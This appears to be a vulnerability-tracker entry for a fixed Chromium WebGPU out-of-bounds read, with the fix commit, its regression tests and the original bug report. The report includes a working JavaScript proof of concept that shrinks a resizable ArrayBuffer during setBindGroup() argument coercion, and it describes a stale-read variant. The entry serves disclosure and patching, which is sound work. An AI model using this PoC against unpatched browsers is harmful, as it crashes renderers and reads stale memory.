Overview

Medium
Severity
β€”
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read in WebGPU
DescriptionOut of bounds read in WebGPU
ComponentWebGPU
Bug ClassOOB
Tracker497183443
Fix commit015bfc8f62bf (chromium/src) +121/-23
CISA KEVNot listed
CreditedYuma Takeuchi
Disclosed2026-06-02

Changed Functions

FunctionChangeNotes
TEST
third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
modified

Files Changed

  • third_party/blink/renderer/bindings/IDLExtendedAttributes.md
  • third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc
  • third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h
  • third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
From 015bfc8f62bfc4b1985cc10981581fd8de463d7a Mon Sep 17 00:00:00 2001
From: Andrey Kosyakov <[email protected]>
Date: Mon, 13 Apr 2026 17:40:17 -0700
Subject: [PATCH] Do not allow resizable arrays when converting PassAsSpan arguments

Bug: 497183443
Change-Id: Iecbad1a2e0ec32237926509633a75be8ae0e5649
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7737852
Commit-Queue: Andrey Kosyakov <[email protected]>
Reviewed-by: Nate Chapin <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1614098}
---

diff --git a/third_party/blink/renderer/bindings/IDLExtendedAttributes.md b/third_party/blink/renderer/bindings/IDLExtendedAttributes.md
index 18df3c5..e9ab97c8 100644
--- a/third_party/blink/renderer/bindings/IDLExtendedAttributes.md
+++ b/third_party/blink/renderer/bindings/IDLExtendedAttributes.md
@@ -111,6 +111,24 @@
 
 These are defined in the [ECMAScript-specific extended attributes](https://webidl.spec.whatwg.org/#es-extended-attributes) section of the [Web IDL spec](https://webidl.spec.whatwg.org/), and alter the binding behavior.
 
+### [AllowResizable]
+
+Standard: [AllowResizable](https://webidl.spec.whatwg.org/#AllowResizable)
+
+Summary: `[AllowResizable]` specified on a type indicates that for ArrayBuffer or ArrayBufferView arguments the values backed by resizable array buffers are allowed. In case of a SharedArrayBuffer being passed, if allowed by specifying `[AllowShared]` (documented below)), this implies that the shared array buffer is growable.
+
+Usage: `[AllowResizable]` must be specified on a parameter to a method or a typedef:
+
+```webidl
+interface Context {
+    void bufferData1([AllowResizable] ArrayBufferView buffer);
+    void bufferData2([AllowResizable] Float32Array buffer);
+    void bufferData3([AllowResizable] ArrayBuffer buffer);
+};
+```
+
+Note that while there's a low-level support for resizable array buffers, Blink IDL code generator currently does not support this attribute and, at the time of writing, there are no APIs using it in the blink tree.
+
 ### [AllowShared]
 
 Standard: [AllowShared](https://webidl.spec.whatwg.org/#AllowShared)
diff --git a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc
index 973b712e..59bc4ba 100644
--- a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc
+++ b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.cc
@@ -39,6 +39,26 @@
       argument_index, wrapper_type_info->interface_name));
 }
 
+bool ThrowIfResizable(v8::Local<v8::ArrayBuffer> array_buffer,
+                      ExceptionState& exception_state) {
+  if (array_buffer->IsResizableByUserJavaScript()) {
+    exception_state.ThrowTypeError(
+        "The provided ArrayBuffer value must not be resizable");
+    return false;
+  }
+  return true;
+}
+
+bool ThrowIfResizable(v8::Local<v8::SharedArrayBuffer> shared_array_buffer,
+                      ExceptionState& exception_state) {
+  if (shared_array_buffer->GetBackingStore()->IsResizableByUserJavaScript()) {
+    exception_state.ThrowTypeError(
+        "The provided SharedArrayBuffer value must not be resizable");
+    return false;
+  }
+  return true;
+}
+
 template <>
 CORE_TEMPLATE_EXPORT typename NativeValueTraits<IDLSequence<IDLLong>>::ImplType
 CreateIDLSequenceFromV8Array<IDLLong>(v8::Isolate* isolate,
diff --git a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h
index 0fd6665..bbc4252c 100644
--- a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h
+++ b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h
@@ -1642,6 +1642,14 @@
 template <>
 struct NativeValueTraits<IDLNullable<IDLOnErrorEventHandler>>;
 
+namespace bindings {
+bool CORE_EXPORT ThrowIfResizable(v8::Local<v8::ArrayBuffer> array_buffer,
+                                  ExceptionState& exception_state);
+bool CORE_EXPORT
+ThrowIfResizable(v8::Local<v8::SharedArrayBuffer> shared_array_buffer,
+                 ExceptionState& exception_state);
+}  // namespace bindings
+
 template <typename T>
   requires std::derived_from<T, PassAsSpanMarkerBase> && (!T::is_typed)
 struct NativeValueTraits<T> : public NativeValueTraitsBase<T> {
@@ -1658,25 +1666,39 @@
         result;
     if (value->IsArrayBuffer()) {
       v8::Local<v8::ArrayBuffer> array_buffer = value.As<v8::ArrayBuffer>();
+      if (!bindings::ThrowIfResizable(array_buffer, exception_state))
+          [[unlikely]] {
+        return result;
+      }
       result.MaybeSetArrayBuffer(array_buffer);
       result.Assign(bindings::internal::GetArrayData(array_buffer));
       return result;
     }
     if (T::allow_shared && value->IsSharedArrayBuffer()) {
-      result.Assign(
-          bindings::internal::GetArrayData(value.As<v8::SharedArrayBuffer>()));
+      v8::Local<v8::SharedArrayBuffer> shared_array_buffer =
+          value.As<v8::SharedArrayBuffer>();
+      if (!bindings::ThrowIfResizable(shared_array_buffer, exception_state))
+          [[unlikely]] {
+        return result;
+      }
+      result.Assign(bindings::internal::GetArrayData(shared_array_buffer));
       return result;
     }
     if (value->IsArrayBufferView()) {
       v8::Local<v8::ArrayBufferView> view = value.As<v8::ArrayBufferView>();
       if (view->HasBuffer()) {
-        if (!T::allow_shared && view->Buffer()->GetBackingStore()->IsShared())
+        v8::Local<v8::ArrayBuffer> array_buffer = view->Buffer();
+        if (!bindings::ThrowIfResizable(array_buffer, exception_state))
+            [[unlikely]] {
+          return result;
+        }
+        if (!T::allow_shared && array_buffer->GetBackingStore()->IsShared())
             [[unlikely]] {
           exception_state.ThrowTypeError(
               "The provided ArrayBufferView value must not be shared.");
           return result;
         }
-        result.MaybeSetArrayBuffer(view->Buffer());
+        result.MaybeSetArrayBuffer(array_buffer);
       }
       result.Assign(view->GetContents(result.GetInlineStorage()));
       return result;
@@ -1705,13 +1727,18 @@
     if (Traits::IsViewOfType(value)) [[likely]] {
       v8::Local<v8::ArrayBufferView> view = value.As<v8::ArrayBufferView>();
       if (view->HasBuffer()) {
-        if (!T::allow_shared && view->Buffer()->GetBackingStore()->IsShared())
+        v8::Local<v8::ArrayBuffer> array_buffer = view->Buffer();
+        if (!bindings::ThrowIfResizable(array_buffer, exception_state))
+            [[unlikely]] {
+          return result;
+        }
+        if (!T::allow_shared && array_buffer->GetBackingStore()->IsShared())
             [[unlikely]] {
           exception_state.ThrowTypeError(
               "The provided ArrayBufferView value must not be shared.");
           return result;
         }
-        result.MaybeSetArrayBuffer(view->Buffer());
+        result.MaybeSetArrayBuffer(array_buffer);
       }
       result.Assign(view->GetContents(result.GetInlineStorage()));
       return result;
diff --git a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
index ff703f80..28118d31c 100644
--- a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
+++ b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
@@ -482,22 +482,52 @@
                   scope.GetIsolate(), 0, subarray, exception_state)
                   .as_span(),
               testing::IsEmpty());
+}
 
-  v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
-        (function() {
-          const arr = new ArrayBuffer(8, {maxByteLength: 8});
-          const view = new Uint8Array(arr);
+TEST(NativeValueTraitsImplTest, PassAsSpanResizable) {
+  test::TaskEnvironment task_environment;
+  V8TestingScope scope;
 
-          for (let i = 0; i < 8; ++i) view[i] = i;
-          arr.resize(4);
-          return view;
-        })()
-      )");
+  {
+    v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+        new ArrayBuffer(8, {maxByteLength: 8});
+    )");
 
-  EXPECT_THAT(NativeValueTraits<PassAsSpanShared>::ArgumentValue(
-                  scope.GetIsolate(), 0, v8_object, exception_state)
-                  .as_span(),
-              testing::ElementsAre(0, 1, 2, 3));
+    ASSERT_TRUE(v8_object->IsArrayBuffer());
+    EXPECT_TRUE(v8_object.As<v8::ArrayBuffer>()->IsResizableByUserJavaScript());
+    DummyExceptionStateForTesting exception_state;
+    std::ignore = NativeValueTraits<PassAsSpanShared>::ArgumentValue(
+        scope.GetIsolate(), 0, v8_object, exception_state);
+    EXPECT_TRUE(exception_state.HadException());
+  }
+  {
+    v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+        new Uint8Array(new ArrayBuffer(8, {maxByteLength: 8}));
+    )");
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
index ff703f80..28118d31c 100644
--- a/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
+++ b/third_party/blink/renderer/bindings/core/v8/native_value_traits_impl_test.cc
@@ -482,22 +482,52 @@
                   scope.GetIsolate(), 0, subarray, exception_state)
                   .as_span(),
               testing::IsEmpty());
+}
 
-  v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
-        (function() {
-          const arr = new ArrayBuffer(8, {maxByteLength: 8});
-          const view = new Uint8Array(arr);
+TEST(NativeValueTraitsImplTest, PassAsSpanResizable) {
+  test::TaskEnvironment task_environment;
+  V8TestingScope scope;
 
-          for (let i = 0; i < 8; ++i) view[i] = i;
-          arr.resize(4);
-          return view;
-        })()
-      )");
+  {
+    v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+        new ArrayBuffer(8, {maxByteLength: 8});
+    )");
 
-  EXPECT_THAT(NativeValueTraits<PassAsSpanShared>::ArgumentValue(
-                  scope.GetIsolate(), 0, v8_object, exception_state)
-                  .as_span(),
-              testing::ElementsAre(0, 1, 2, 3));
+    ASSERT_TRUE(v8_object->IsArrayBuffer());
+    EXPECT_TRUE(v8_object.As<v8::ArrayBuffer>()->IsResizableByUserJavaScript());
+    DummyExceptionStateForTesting exception_state;
+    std::ignore = NativeValueTraits<PassAsSpanShared>::ArgumentValue(
+        scope.GetIsolate(), 0, v8_object, exception_state);
+    EXPECT_TRUE(exception_state.HadException());
+  }
+  {
+    v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+        new Uint8Array(new ArrayBuffer(8, {maxByteLength: 8}));
+    )");
+
+    ASSERT_TRUE(v8_object->IsArrayBufferView());
+    EXPECT_TRUE(v8_object.As<v8::ArrayBufferView>()
+                    ->Buffer()
+                    ->IsResizableByUserJavaScript());
+    DummyExceptionStateForTesting exception_state;
+    std::ignore = NativeValueTraits<PassAsSpanShared>::ArgumentValue(
+        scope.GetIsolate(), 0, v8_object, exception_state);
+    EXPECT_TRUE(exception_state.HadException());
+  }
+  {
+    v8::Local<v8::Object> v8_object = EvaluateScriptForObject(scope, R"(
+        new SharedArrayBuffer(8, {maxByteLength: 8});
+    )");
+
+    ASSERT_TRUE(v8_object->IsSharedArrayBuffer());
+    EXPECT_TRUE(v8_object.As<v8::SharedArrayBuffer>()
+                    ->GetBackingStore()
+                    ->IsResizableByUserJavaScript());
+    DummyExceptionStateForTesting exception_state;
+    std::ignore = NativeValueTraits<PassAsSpanShared>::ArgumentValue(
+        scope.GetIsolate(), 0, v8_object, exception_state);
+    EXPECT_TRUE(exception_state.HadException());
+  }
 }
 
 TEST(NativeValueTraitsImplTest, PassAsSpanInlineStorage) {
diff --git a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any-expected.txt b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any-expected.txt
index 6154e76..9a2c36c 100644
--- a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any-expected.txt
+++ b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any-expected.txt
@@ -1,5 +1,5 @@
 This is a testharness.js-based test.
-Found 44 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 42 FAIL, 0 TIMEOUT, 0 NOTRUN.
 [FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 0, filler 0
   Failed to execute 'encodeInto' on 'TextEncoder': The provided Uint8Array value must not be shared.
 [FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 4, filler 0
diff --git a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.serviceworker-expected.txt b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.serviceworker-expected.txt
index 6154e76..9a2c36c 100644
--- a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.serviceworker-expected.txt
+++ b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.serviceworker-expected.txt
@@ -1,5 +1,5 @@
 This is a testharness.js-based test.
-Found 44 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 42 FAIL, 0 TIMEOUT, 0 NOTRUN.
 [FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 0, filler 0
   Failed to execute 'encodeInto' on 'TextEncoder': The provided Uint8Array value must not be shared.
 [FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 4, filler 0
diff --git a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.sharedworker-expected.txt b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.sharedworker-expected.txt
index 6154e76..9a2c36c 100644
--- a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.sharedworker-expected.txt
+++ b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.sharedworker-expected.txt
@@ -1,5 +1,5 @@
 This is a testharness.js-based test.
-Found 44 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 42 FAIL, 0 TIMEOUT, 0 NOTRUN.
 [FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 0, filler 0
   Failed to execute 'encodeInto' on 'TextEncoder': The provided Uint8Array value must not be shared.
 [FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 4, filler 0
diff --git a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.worker-expected.txt b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.worker-expected.txt
index 6154e76..9a2c36c 100644
--- a/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.worker-expected.txt
+++ b/third_party/blink/web_tests/external/wpt/encoding/encodeInto.any.worker-expected.txt
@@ -1,5 +1,5 @@
 This is a testharness.js-based test.
-Found 44 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 42 FAIL, 0 TIMEOUT, 0 NOTRUN.
 [FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 0, filler 0
   Failed to execute 'encodeInto' on 'TextEncoder': The provided Uint8Array value must not be shared.
 [FAIL] encodeInto() into SharedArrayBuffer with Hi and destination length 0, offset 4, filler 0
Loading diff…

Original Bug Report

reported by [email protected]

WebGPU `setBindGroup()`: renderer crash and bounds-check bypass via ResizableArrayBuffer shrink during argument coercion (PassAsSpan TOCTOU)

GPUProgrammablePassEncoder.setBindGroup() accepts a Uint32Array for the dynamicOffsetsData parameter. If that typed array is backed by a ResizableArrayBuffer (RAB) and a subsequent numeric argument’s valueOf() callback shrinks the backing buffer, Blink captures a span pointing into memory that V8 has decommitted. Dawn’s wire client immediately memcpys from that span synchronously inside the setBindGroup call, before any GPU submission, resulting in a read of decommitted memory (STATUS_ACCESS_VIOLATION).

Root cause: ByteSpanWithInlineStorage::as_span() in third_party/blink/renderer/bindings/core/v8/pass_as_span.h contains a guard for ArrayBuffer detachment (WasDetached()) but no equivalent guard for ResizableArrayBuffer shrink. Because WebIDL evaluates arguments left-to-right, start.valueOf() fires after the span is captured (arg 2), creating a TOCTOU window.

arg2: dynamicOffsetsData  β†’ span captured  {rab_backing_ptr, N}
arg3: start.valueOf()     β†’ rab.resize(0)  β†’ pages decommitted
arg4: length.valueOf()    β†’ (stale span already captured)
                          ↓
Dawn wire client: memcpy(dst, rab_backing_ptr, 4)  β†’ STATUS_ACCESS_VIOLATION

Patch gap evidence: The same TOCTOU was already found and fixed in adjacent APIs on the same Chrome build:

API Result on Chrome 146.0.7680.165
GPUQueue.writeBuffer() βœ… TypeError (fixed)
VideoFrame.copyTo() βœ… TypeError (fixed)
GPUProgrammablePassEncoder.setBindGroup() ❌ crash / bypass

setBindGroup uses the [PassAsSpan] IDL annotation, which operates at the binding-generator layer rather than in the C++ implementation. The C++ implementation checks that protect writeBuffer and copyTo do not cover PassAsSpan, so setBindGroup escaped the systematic fix.

Confirmed primitives:

  1. Renderer crash β€” resize(0) decommits all backing pages; Dawn’s synchronous memcpy raises STATUS_ACCESS_VIOLATION. Reproduces on both compute and render pass paths.
  2. Bounds-check bypass (no crash) β€” resize(4) leaves the first 4 bytes committed; setBindGroup succeeds with view.length = 0 in JS; the stale span passes ValidateSetBindGroupDynamicOffsets.
  3. Exact stale value forwarded β€” the specific integer written to offsets[0] before resize appears verbatim in the GPU error message (value 512 confirmed).
  4. Compute shader controlled by stale offset β€” two different pre-seeded uniform buffer regions ([0x41414141, …] at offset 0, [0xDEADBEEF, …] at offset 256) are returned to JavaScript via storageBuffer.mapAsync() based solely on the pre-resize value of offsets[0].
  5. Render pass fragment shader output controlled β€” attacker-chosen color rendered to canvas via stale offset.

VERSION

Chrome 146.0.7680.165 (Official Build) (64-bit), Windows 11 64-bit

No command-line flags, no extensions, no DevTools required.


REPRODUCTION CASE

Setup:

python3 -m http.server 8080

Place the two attached HTML files in the same directory and open them in Chrome stable.

Minimal inline crash PoC (no files required β€” paste into DevTools console on any https:// page with WebGPU enabled):

<!doctype html><script>
(async () => {
  const adapter = await navigator.gpu.requestAdapter();
  const device  = await adapter.requestDevice();
  const encoder = device.createCommandEncoder();
  const pass    = encoder.beginComputePass();

  const layout = device.createBindGroupLayout({ entries: [] });
  const bg     = device.createBindGroup({ layout, entries: [] });

  const rab  = new ArrayBuffer(4, { maxByteLength: 4 });
  const view = new Uint32Array(rab);
  view[0]    = 0xDEADBEEF;

  const start = { valueOf() { rab.resize(0); return 0; } };

  // STATUS_ACCESS_VIOLATION: Dawn memcpy hits decommitted page
  pass.setBindGroup(0, bg, view, start, 1);
})();
</script>

Expected: tab crashes (renderer process) with STATUS_ACCESS_VIOLATION.

Attached PoC 1 β€” Crash: webgpu-setbindgroup-rab-poc.html

Runs three tests automatically:

Test Action Expected (fixed) Actual (Chrome 146)
Baseline normal call no crash no crash βœ“
Detach in valueOf() structuredClone detach RangeError RangeError βœ“
Shrink in valueOf() resize(0) RangeError tab crash

Attached PoC 2 β€” Controlled-read proof: webgpu-setbindgroup-rab-arb-read-poc.html

resize(4) (non-crash variant). Compute shader reads the attacker-selected uniform buffer region and returns 16 bytes to JavaScript.

Confirmed output on Chrome 146.0.7680.165:

Test 2 (stale read, offsets[0]=0):
  view.length after resize: 0  (out-of-bounds in JS)
βœ“ setBindGroup did not throw despite view.length=0
βœ“ Storage buffer contains: [0x41414141, 0x42424242, 0x43434343, 0x44444444]
βœ“ VALUES MATCH offset-0 sentinels

Test 3 (stale read, offsets[0]=256):
  view.length after resize: 0  (out-of-bounds in JS)
βœ“ setBindGroup did not throw despite view.length=0
βœ“ Storage buffer contains: [0xDEADBEEF, 0xCAFEBABE, 0x13371337, 0xFEEDFACE]
βœ“ VALUES MATCH offset-256 sentinels

Tests 2 and 3 return different values corresponding exactly to different pre-seeded uniform buffer regions. The only difference between the two tests is offsets[0] before resize β€” a value JavaScript considers inaccessible at call time.


TYPE OF CRASH

STATUS_ACCESS_VIOLATION β€” read of decommitted virtual memory.

Crash occurs synchronously inside GPUComputePassEncoder::setBindGroup / GPURenderPassEncoder::setBindGroup, before pass.end() or encoder.finish(), confirming the fault is in Blink/Dawn client-side handling (not GPU driver execution).


CRASH STATE

Approximate call stack at time of access violation:

wgpu::ComputePassEncoder::SetBindGroup(unsigned int, wgpu::BindGroup, ...)
    [Dawn wire client β€” synchronous memcpy of uint32_t offsets array]
blink::GPUComputePassEncoder::setBindGroup(unsigned int, blink::GPUBindGroup*, ...)
    [gpu_compute_pass_encoder.cc β€” passes stale data_span.data() to Dawn]
blink::GPUProgrammablePassEncoder_setBindGroup (generated IDL binding)
    [NativeValueTraits<PassAsSpan<…>>::ArgumentValue captures span at arg2]
    [start.valueOf() fires at arg3 β†’ rab.resize(0) β†’ pages decommitted]
    [C++ implementation called with stale span pointing to decommitted memory]
v8::internal::Builtin_HandleApiCallOrConstruct

Both compute pass (GPUComputePassEncoder) and render pass (GPURenderPassEncoder) crash identically via the shared ValidateSetBindGroupDynamicOffsets / GetHandle().SetBindGroup path.


SUGGESTED FIX

Add an RAB-aware revalidation in ByteSpanWithInlineStorage::as_span() (third_party/blink/renderer/bindings/core/v8/pass_as_span.h), mirroring the existing detach guard:

const base::span<const uint8_t> as_span() const {
    if constexpr (kPerformDetachCheck) {
        if (!orig_buffer_for_detach_check_.IsEmpty()) {
            auto buf = orig_buffer_for_detach_check_;
            if (buf->WasDetached()) return {};
            // NEW: resizable-buffer shrink guard
            if (buf->IsResizableByUserJavaScript()) {
                const uint8_t* buf_base =
                    static_cast<const uint8_t*>(buf->Data());
                size_t buf_len = buf->ByteLength();
                if (span_.data() < buf_base ||
                    span_.data() + span_.size() > buf_base + buf_len) {
                    return {};
                }
            }
        }
    }
    return span_;
}

With this fix, rab.resize(0) causes as_span() to return {}, ValidateSetBindGroupDynamicOffsets receives size 0, and throws RangeError β€” matching the behaviour of writeBuffer and copyTo on the same build.


CREDIT INFORMATION

Reporter: Yuma Takeuchi

View on issue tracker